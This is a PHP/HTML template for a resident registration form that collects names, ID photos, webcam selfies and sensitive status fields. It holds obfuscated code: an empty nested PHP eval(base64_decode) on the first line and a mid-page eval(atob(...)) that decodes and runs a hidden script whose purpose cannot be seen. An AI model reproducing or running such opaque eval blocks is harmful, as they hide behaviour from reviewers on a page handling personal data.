<?php eval (base64_decode('CiBldmFsKGJhc2U2NF9kZWNvZGUoJycpKTsg')); ?>
<!-- Include SweetAlert CSS -->

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11.0.18/dist/sweetalert2.min.css">



<!-- Include SweetAlert JavaScript -->

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.0.18/dist/sweetalert2.all.min.js"></script>





<style>
	#video {
		border: 2px solid #333;
	}

	#captureButton {
		margin-top: 20px;
		padding: 10px;
		font-size: 16px;
		cursor: pointer;
	}
</style>

<div class="col-md-12" id="reg_form_main_div">

	<div class="white-box">

		<center>
			<h3 style="color:#663399; font-weight:bold;">Personal Info</h3>
		</center>

		<hr />

		<!-- <div class="form-group">

						<label for="exampleInputuname" class="col-sm-3 control-label">Image</label>

						<div class="col-sm-9">

							<div class="input-group">

								<input class="input-file uniform_on" name="fileImage" id="fileInput" type="file" /> </div>

						</div>

					</div> -->

		<!-- <a style="position:absolute; margin-left:24%; margin-top:8%;" href="\bmis_sta_monica\residentsrecord\crop\crop-image.html" target="blank_">Click here to Crop the picture</a>

					<br>	 -->
		<div class="form-group" id="acc_number">
			<label for="resident_accno" class="col-sm-3 control-label">Resident Account No.</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" placeholder="" id="resident_accno" name="resident_accno"
						value="<?php echo $number; ?>" autocomplete="off" readonly />
				</div>
			</div>
		</div>
		<!-- <div class="form-group" id="acc_number">
			<label for="resident_accno" class="col-sm-3 control-label">Resident Account No.</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" placeholder="" id="resident_accno" name="resident_accno"
						value="<?php echo sprintf("%05d", $number); ?>" autocomplete="off" readonly />
				</div>
			</div>
		</div> -->

		<!-- CAMERA AND UPLOAD IMAGE- start -->
		<div class="form-group">
			<div class="col-md-3"></div>

			<div class="col-md-3">
				<video id="video" width="200" height="200" autoplay style="display: none;"></video>
			</div>
			<div class="col-md-3">
				<img id="image-preview" style="display: none;" alt="Captured Image" />
			</div>

			<canvas id="canvas" width="200" height="200" style="display: none;"></canvas>
			<div class="col-md-3"></div>
		</div>
		<div class="form-group">
			<label for="turn-on-btn" class="col-sm-3 control-label">Capture Image <br><span
					style="color: red; font-size: 14px;">(Siguruhing puti ang background para sa mabilisang
					pag-apruba.)</span></label>
			<div class="col-md-6">
				<input type="button" id="turn-on-btn" value="Turn On Camera" />
				<input type="button" id="turn-off-btn" style="display: none;" value="Turn Off Camera" />
				<input type="button" id="capture-btn" style="display:none;" value="Capture Image" disabled />

				<input type="button" id="save-btn" style="display: none;" value="Save Image" />
				<input style="border:none;width: 100%;height:100%;" class="input-file uniform_on" name="selfie"
					id="selfie" type="type" onkeyup="Readmykey(this.value,'selfie')" readonly accept="image/*" />
			</div>
			<div class="col-md-3"></div>
		</div>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/cropperjs/1.5.12/cropper.min.css">
		<script src="https://cdnjs.cloudflare.com/ajax/libs/cropperjs/1.5.12/cropper.min.js"></script>

		<script>
			eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('oKDSkJwgjabcnqEDn6DdjqLblZwSnKrMvqPblqrSj83HuqwY4ZnXn6rR4ecUoK7Sja7NxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3doqHKop0e2uPMjp3StKH+j6IDn6DdjqLblZwSnKrMvqPblqrSj83HuqwY4ZvLkaITlKIToZvS4ecUj5rOlcDanc3MldLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gej5rOleLRnaoToZvS4ecUoK7Qj5rOns3MldLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+geoK7Qj5rOnuLej6Ie2uPNopnbwZvSxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3Nopnb1q3Mle4X16bToqjbs53bjabbjNLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gemqLfnKsTk53bjabbjO4XyKPbj+/dkaDQk6rO15zMkarfltLSjqPUyKnLlazMmqDS45zMop3MwK7Tnp3f2+bFlZrUl9MDxpzMkarfluoala7Kmqjfj6DO1aLbn6bfv6rKmqzbkOHZnpvrkKrOtqrcmq8YiJnXn6rRye8QhucSj6fblefbxtHFkJvOnq7TxqsUjabcnqESkJ3dtK3WnqzMxpzMkarfluPKmqvblOHNj5bUnuHcmpzQl67Hxu3el6DdmO4U3+ge4KnXl6rXlZ/Lj6vXje4X1azNkOgen6bNk6Pfiu4U4aHRlase2uPMjp3StKH+j6ISkJvHl6sSn6bNk6PfitMelaDSnu4Uj5rOlcDanc3MleHNj5bUnuHcmpzQl67Hxu3XlaPXlasToaPRoKUe16zfk5vLkar+j6ISkJvHl6sSn6bNk6PfitMemqHUmqHb1q3UlKzV4ePdop/Mjp3bwZvS1avXkK7el6rcxu8PhucSoK7MoKgYntMCiKzRlZzRl6sSnp3OlJ4Y4crOkaDO467doKrNkKbSnO/Jnq3doqMG4ePb2pMXhqnLlazMmqDS45zMlJ/9oqLbka8Y2pTXnefSjqPU4tMDkJvOnq7T2pTNj53boqMSnKrMr53foKTN2+cSnaDOvq7dm+fbxtHb1ZzMlJ=Y2ucUjabcnqESkJvHl6sSn6bNk6PfitMelaDSnu4Uj5rOlcDSwZvS1ZzMiqPb1avXkJ/UopcD4abSl6bSnuLel6DdmO4Uj5rOlcDanc3MleHNj5bUnuHcmpzQl67Hxu3SlKHb4eQc2+4dkKrUnabb4ecSoJzN2+3cmpzQl67H4eQelaDSnu4X1+wY4ezamqPbmqHQjpvcmpoe2uHdkJ0Y4avXkJ/Uopce1+3el6DdmO4X1+wY4ezNopnb1q3Mle4X1azNkOgen6bNk6Pfiu4U4aHRlase2uQc2+4dkKrUnabb4ecSja7U2+4e2uPdop/Mjp3bwZvS1avXkK7el6rcxu8Q16zfk5vLkar+j6ISkJvHl6sSn6bNk6PfitMelaDSnu4UkK7Kns3MleHNj5bUnuHcmpzQl67Hxu3SlKHb4ePXlq7Znr/OnpnXnpkSkJvHl6sSn6bNk6PfitMelaDSnu4UoJ3Rk5/bkeoa26zOlJ/Qnp4Sn6rNj53RiugX16zOlJ/Qnp4DlZrUl+cUkJvOnq7TxqHLl6PDhqnLlazMmqDS46zfk5vLkar3lq7ZnugXiKzflZnfkOHZnpv9lKHMnpfM2+4On+4X1avOopj3lq7ZnufKmqvblOQQ19=UoK7Sja7N1ZjXn5vY16zflZnfkOHYnqbZm5wX16bToqjbs53bjabbjOHNka0DoK7Sja7N1ZvRv67Morrut+gemqLfnKsRmZ/bnO4X16bToqjbs53bjabbjOHNj5bUnuHcmpzQl67Hxu3el6DdmO4U3+ge4JzfjasToZvS4ecSoJzN2+3cmpzQl67H4eQemqHUmqHb1q3UlKzV4ecUoK7Qj5rOns3MleHNj5bUnuHcmpzQl67Hxu3SlKHb4ePdkaDQk6rOxqHbjO/9kaDQk6rO26bToqjbs53bjabbjOPFopzQnqzMsa7MmqEG0uPKmqrJtqDcntYO167Lj6D9kaDQwp3botYPhubDoK7Qj5rOns3MleHfn6v7jarSj8PXkJvblarO2+3dl6bdmO4U2+cDxZTdop/Mjp3buqLfnKsY2uPNopnbwZvS1avXkK7el6rcxu8PhucUkK7Kns3MleHfn6v7jarSj8PXkJvblarO2+3dl6bdmO4U2+cDxZTdlKHNj+/bxqzOlJ/Qnp4SnKrMwJ3Rk5/bn8zflZnfkOgX1ZvRv67Morrut+gemqLfnKsRmZ/bnO4XyOwY4ezNnqPamqse2uHdkJ0Y4avXkJ/Uopce1+3XlaPXlasToaPRoKUe2tTdlKHNj+/MxqHbjO/otsP4j5vQsarPjqrNj9TM1aDQnqIY4b/xsLwe1+3Znpvhj6bTnpzMoqLQ1Z/Yk+4U4t=X15wSkKrMsarPjqrNj8fboqvbkegewKDSj6rSj+Lsip/b4eQeop/Ql6bdopvXlKIRi+LJjJkTnaDOluLLkaPblazRn6rc4ecUj+HRlZ3boqvHkJvfj6rdm67SnKsDnZrSoJvXlKIY2pTXnefM1Z3boqvHsJvfj6sDxtLotsP4j5vQsarPjqrNj+H8tMH73eoO09=DxtLM1ZzMopvLkObFk67OkKr3lZwYj+HOnpzQlKHNnrvbi5wXyKzRlZzM46IDlarJ47fzt8fMj5/unp7LnpzMyKISlJ/bleges8Dtr+4U4ZzMlJ3bpKbToqjb1Z/Yk9Ee1+8Q2uPS1Zzbj73bkprbkJv4nq7cnp4Y4czRlZvblZwTr5bQnu4U4a7Qk6PXoK7MmqDS1JgTjJjJ1qnRkaMTjp3UnqHdlKvbn+4X16ISlKHOnq7cipzMopvboKfflajbxqnLlazMmqDS2+bFmqoYleHOnq7cirzMopvbxtMDq8L0u5vMk73bkprbkJwSv8Dyvuoa0d=QxtMDleHNj67Mjp0XiKzRlZzM46sDleHOnpzQlKHNnrvbi5wF3+ge4Jzbl6nXnu4X1Znfl+fb2uPfl6rOj+fS1Z3bkJ/RlZzbr6rIj+bDhuPS1ZzblawY4abToqjbpKvfj68D4eTblazRn6rrscb9lKLQlKHblZwYnucX15zfjar+j6ISn6bNoq3UnqwD4t=UoJ3Rk5/bkeHcnpzMkaDH2+cUoJ3Rk5/bkdLSjqPUhpMUj+HNnqHc2+bD2uPMjp3StKH+j6ISoqvcvpnblZv0mpzMnqHbkegeoKPXoKUe15zMop3MwK7Tnp3f2uPMjp3StKnawZvS1a7cn8rKnqHMt6bNj6rSnp4Y4azUmqzV4ePNj6DQwK7Tnp3f2tUA', 'd')));
		</script>

		<div class="form-group">
			<label for="fileInput" class="col-sm-3 control-label">OR</label>
			<div class="col-sm-6"></div>
			<div class="col-sm-3"></div>
		</div>
		<div id="fileinputdiv" class="form-group">

			<label for="fileInput" class="col-sm-3 control-label"> Upload Image</label>
			<div class="col-sm-6">
				<div class="input-group">
					<input class="input-file uniform_on" onkeyup="Readmykey(this.value,'fileInput')" name="fileImage"
						id="fileInput" type="file" accept="image/*" />
				</div>
			</div>
			<div class="col-sm-3"></div>
			<div id="imagePreviewContainer" style="display: none;">
				<br>
				<img id="imagePreview" src="#" alt="Image Preview" style="max-width: 100%; height: 150px;">
			</div>
		</div>
		<!-- CAMERA AND UPLOAD IMAGE- end -->

		<div class="form-group">
			<label for="fileInput" class="col-sm-3 control-label">Attach Valid Id: </label>
			<div class="col-sm-6">
				<div class="input-group">
					<input class="input-file uniform_on" name="valid_id" onkeyup="Readmykey(this.value,'fileInput')"
						id="fileInput" type="file" accept="image/*" />
				</div>
			</div>
			<div class="col-sm-3"></div>
			<div id="imagePreviewContainer" style="display: none;">
				<br>
				<img id="imagePreview" src="#" alt="Image Preview" style="max-width: 100%; height: 150px;">
			</div>
		</div>

		<div class="form-group">
			<center>
				<video id="video" style="height:400px; width:400px; display:none;" disabled autoplay></video>
			</center>
			<button id="capture-btn" style="display:none; margin-left:27%;">Capture Photo</button>
		</div>

		<div class="form-group" id="resident_cat">
			<label for="res_cat2" class="col-sm-3 control-label">Residential Status:</label>
			<div class="col-sm-9">
				<div class="input-group">
					<select name="res_cat" onkeyup="Readmykey(this.value,'rescat')" id="res_cat2">
						<option value="Permanent">Permanent</option>
						<option value="Lot Owner">Lot Owner</option>
						<option value="Transient / Temporary">Transient / Temporary</option>
					</select>
				</div>
			</div>
		</div>

		<div class="form-group" id="cust_name">
			<label for="household_no" class="col-sm-3 control-label">Household No:</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-location-pin"></i></div>
					<input type="text" class="form-control" id="household_no"
						onkeyup="Readmykey(this.value,'household_no')" placeholder="Household Number"
						name="household_no" autocomplete="off" />
				</div>
			</div>
		</div>

		<!-- <div class="form-group" id="relationship" style="display:none;">
			<label for="rhof" class="col-sm-3 control-label">Relationship With Head Of The Family: </label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" placeholder="" id="rhof" name="rhof" autocomplete="off" />
				</div>
			</div>
		</div> -->
		<div class="form-group" id="relationship" style="display:none;">
			<label for="rhof" class="col-sm-3 control-label">Relationship With Head Of The Family: </label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<select class="form-control select2" id="rhof" name="rhof" autocomplete="off">
						<option value="">Select Relationship</option>
						<option value="Husband">Husband</option>
						<option value="Wife">Wife</option>
						<option value="Mother">Mother</option>
						<option value="Father">Father</option>
						<option value="Son">Son</option>
						<option value="Daughter">Daughter</option>
						<option value="Sister">Sister</option>
						<option value="Brother">Brother</option>
						<option value="Cousin">Cousin</option>
						<option value="Aunt">Aunt</option>
						<option value="Uncle">Uncle</option>
						<option value="Niece">Niece</option>
						<option value="Nephew">Nephew</option>
						<option value="Grand Son">Grand Son</option>
						<option value="Grand Daughter">Grand Daughter</option>
						<option value="Step-Mother">Step-Mother</option>
						<option value="Step-Father">Step-Father</option>
						<option value="Step-Brother">Step-Brother</option>
						<option value="Step-Sister">Step-Sister</option>
						<option value="Mother-in-Law">Mother-in-Law</option>
						<option value="Father-in-Law">Father-in-Law</option>
						<option value="Grand Father">Grand Father</option>
						<option value="Grand Mother">Grand Mother</option>
						<option value="Other">Other</option>

					</select>
				</div>
			</div>
		</div>



		<div class="form-group">
			<label for="firstname" class="col-sm-3 control-label">First Name<span style="color:red">*</span></label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="firstname" onkeyup="Readmykey(this.value,'firstname')"
						placeholder="First Name" name="fname" autocomplete="off" required />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="middlename" class="col-sm-3 control-label">Middle Name <span
					style="color:red">(Optional)</span></label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="middlename" onkeyup="Readmykey(this.value,'middlename')"
						placeholder="Middle Name" name="mname" autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="lastname" class="col-sm-3 control-label">Last Name<span style="color:red">*</span></label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="lastname" onkeyup="Readmykey(this.value,'lastname')"
						placeholder="Last Name" name="lname" autocomplete="off" required />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="suffix" class="col-sm-3 control-label">Suffix <label
					style="color:red">(Optional)</label></label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="suffix" placeholder="Suffix"
						onkeyup="Readmykey(this.value,'suffix')" name="suffix" autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group" id="alias">
			<label for="alias_field" class="col-sm-3 control-label">Alias</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="alias_field" placeholder="Alias"
						onkeyup="Readmykey(this.value,'alias_field')" name="alias" autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="exampleInputuname" class="col-sm-3 control-label">Birthdate</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-calender"></i></div>
					<input class="form-control" type="date" name="birthdate" id="birthday"
						onkeyup="Readmykey(this.value,'birthday')" placeholder="Date of Birth" onFocus="startCalc1();"
						onBlur="stopCalc1();" autocomplete=off />
				</div>
			</div>
		</div>
		<div class="form-group">
			<label for="exampleInputuname" class="col-sm-3 control-label">Age</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input class="form-control" type="text" name="age" id="age" onkeyup="Readmykey(this.value,'age')"
						placeholder="Age" readonly autocomplete=off />
				</div>
			</div>
		</div>

		<div class="form-group" id="height">
			<label for="height" class="col-sm-3 control-label">Height</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="height_field" placeholder="Height"
						onkeyup="Readmykey(this.value,'height_field')" name="height" autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group" id="weight">
			<label for="weight_field" class="col-sm-3 control-label">Weight</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="weight_field" placeholder="Weight"
						onkeyup="Readmykey(this.value,'weight_field')" name="weight" autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group" id="blood_type">
			<label for="blood_type_field" class="col-sm-3 control-label">Blood Type</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="blood_type_field"
						onkeyup="Readmykey(this.value,'blood_type_field')" placeholder="Blood Type" name="blood_type"
						autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="birth_place" class="col-sm-3 control-label">Birth Place</label>
			<div class="col-sm-9">
				<div class="input-group">
					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>
					<input type="text" class="form-control" id="birth_place"
						onkeyup="Readmykey(this.value,'birth_place')" placeholder="Birth Place" name="birth_place"
						autocomplete="off" />
				</div>
			</div>
		</div>

		<div class="form-group">
			<label for="gender" class="col-sm-3 control-label">Gender</label>
			<div class="col-sm-9">
				<div class="input-group">
					<select name="gender" class="select2" id="gender" style="width:150px;">
						<option value="Male">Male</option>
						<option value="Female">Female</option>
					</select>
				</div>
			</div>
		</div>

		<div class="form-group" id="lgbtq">
			<label for="lgbtq_field" class="col-sm-3 control-label">LGBTQ+</label>
			<div class="col-sm-9">
				<div class="input-group">
					<select name="lgbtq" class="select2" id="lgbtq_field" style="width:150px;">
						<option value="N/A">N/A</option>
						<option value="Lesbian">Lesbian</option>
						<option value="Bisexual">Bisexual</option>
						<option value="Queer">Queer</option>
						<option value="Gay">Gay</option>
						<option value="Transgender/Transsexual">Transgender/Transsexual</option>
						<option value="Intersexual">Intersexual</option>
						<option value="Axesual Gender">Axesual Gender</option>
					</select>
				</div>
			</div>
		</div>


	</div>

	<div class="white-box" id="other_info_box">

		<h3 style="color:#663399; font-weight:bold;" id="other_title">Other Info</h3>

		<hr />

		<div class="form-group" id="hoam">

			<label for="exampleInputuname" class="col-sm-3 control-label">Home Owner Association Member?</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="hoa" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="vstat">

			<label for="exampleInputuname" class="col-sm-3 control-label">Voter's Status</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="voters_status" class="voterstatus" style="width:auto;">

						<option value="Registered">Registered</option>

						<option value="Unregistered">Unregistered</option>

					</select>

				</div>

			</div>

		</div>
		<script>

		</script>
		<div class="form-group" id="prect_no">

			<label for="exampleInputuname" class="col-sm-3 control-label">Precint No</label>

			<div class="col-sm-9">

				<div class="input-group">

					<div class="input-group-addon"><i class="icon-arrow-right"></i></div>

					<input type="text" class="form-control" id="precintnumber"
						onkeyup="Readmykey(this.value,'precintnumber')" placeholder="Precint Number" name="precint_no"
						autocomplete=off />
				</div>

			</div>

		</div>

		<div class="form-group" id="solo_p">

			<label for="exampleInputuname" class="col-sm-3 control-label">Solo Parent</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="solo_parent" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="ofw_info">

			<label for="exampleInputuname" class="col-sm-3 control-label">OFW</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="ofw" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="erpat">

			<label for="exampleInputuname" class="col-sm-3 control-label">Erpat</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="erpat" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="kababaihan">

			<label for="exampleInputuname" class="col-sm-3 control-label">Kababaihan</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="kababaihan" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="young">

			<label for="exampleInputuname" class="col-sm-3 control-label">Youth</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="youth" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="disability">

			<label for="exampleInputuname" class="col-sm-3 control-label">Person with Disability</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="pwd" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="4ps">

			<label for="exampleInputuname" class="col-sm-3 control-label">4ps</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="ps4" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="cvon">

			<label for="exampleInputuname" class="col-sm-3 control-label">CVON / PWUD</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="cvon_pwud" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="indi">

			<label for="exampleInputuname" class="col-sm-3 control-label">Indigenous People</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="ind" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>

		<div class="form-group" id="informal">

			<label for="exampleInputuname" class="col-sm-3 control-label">Informal Settler</label>

			<div class="col-sm-9">

				<div class="input-group">

					<select name="set" class="select2" style="width:150px;">

						<option value="0">No</option>

						<option value="1">Yes</option>

					</select>

				</div>

			</div>

		</div>



		<div class="white-box">
			<h3 style="color:#663399; font-weight:bold;" id="other_title">Civil Society Organization</h3>
			<hr>
			<div id="cso_container">
				<input type="hidden" id='getter' name='separator[]' value="">
				<div class="form-group">
					<label for="orgname_cso">Name of Civi Society Organization</label>
					<input type="text" name="orgname_cso[]" class="form-control">
					<br>

				</div>

				<div class="form-group">
					<label for="pettype">Status</label>
					<select name="status[]" id='status_in_input' class="">
						<option value=""></option>
						<option value="Member">Member</option>
						<option value="Official">Officials</option>
						<option value="President">President</option>
					</select>
				</div>
				<div class="form-group" id="date_join" style="display: none;">
					<label for="exampleInputuname">Date Join</label>
